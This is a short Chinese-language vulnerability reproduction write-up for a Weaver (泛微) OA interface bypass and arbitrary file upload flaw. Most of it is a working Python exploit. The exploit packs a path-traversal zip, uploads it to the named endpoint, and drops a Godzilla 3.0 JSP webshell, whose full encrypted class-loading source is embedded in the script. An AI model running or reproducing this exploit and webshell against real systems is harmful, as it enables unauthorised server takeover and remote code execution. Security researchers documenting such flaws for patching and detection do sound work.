泛微OA接口绕过后任意文件上传复现
自行搭建环境:
漏洞位置:
/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp
漏洞验证:
发送上传数据包:
//poc攻击程序:
#coding=utf-8 ''' 程序名称: 泛微OA接口绕过后任意文件上传漏洞利用 author: pt007@vip.sina.com 用法: python3 upload.py http://192.168.1.3 webshell: http://192.168.1.3:8080/cloudstore/test11.jsp //哥斯拉3.0 test! ''' import zipfile import random import sys import requests def generate_random_str(randomlength=16): random_str = '' base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789' length = len(base_str) - 1 for i in range(randomlength): random_str += base_str[random.randint(0, length)] return random_str #mm = generate_random_str(8) mm = 'test11' webshell_name1 = mm+'.jsp' webshell_name2 = '../../../'+webshell_name1 #代理不支持https proxies={ "http":"http://192.168.1.185:8080" } def file_zip(): shell = """<%! String xc="3c6e0b8a9c15224a"; String pass="test!"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%> """ ## 哥斯拉3.0 test11.jsp //test! zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED) zf.writestr(webshell_name2, shell) def GetShell(urllist): file_zip() print('[*]上传文件中') urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp' file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))] try: requests.post(url=urls,files=file,timeout=20,verify=False) #,proxies=proxies) except Exception as e: print(e) GetShellurl = urllist+'/cloudstore/'+webshell_name1 GetShelllist = requests.get(url = GetShellurl,timeout=10,verify=False) if GetShelllist.status_code == 200: print('[+]利用成功webshell地址为:\n'+ GetShellurl +" //哥斯拉3.0 test!") else: print('[-]未找到webshell利用失败!') def main(): if (len(sys.argv) == 2): url = sys.argv[1] GetShell(url) else: print("python3 upload.py http://192.168.1.3") if __name__ == '__main__': main()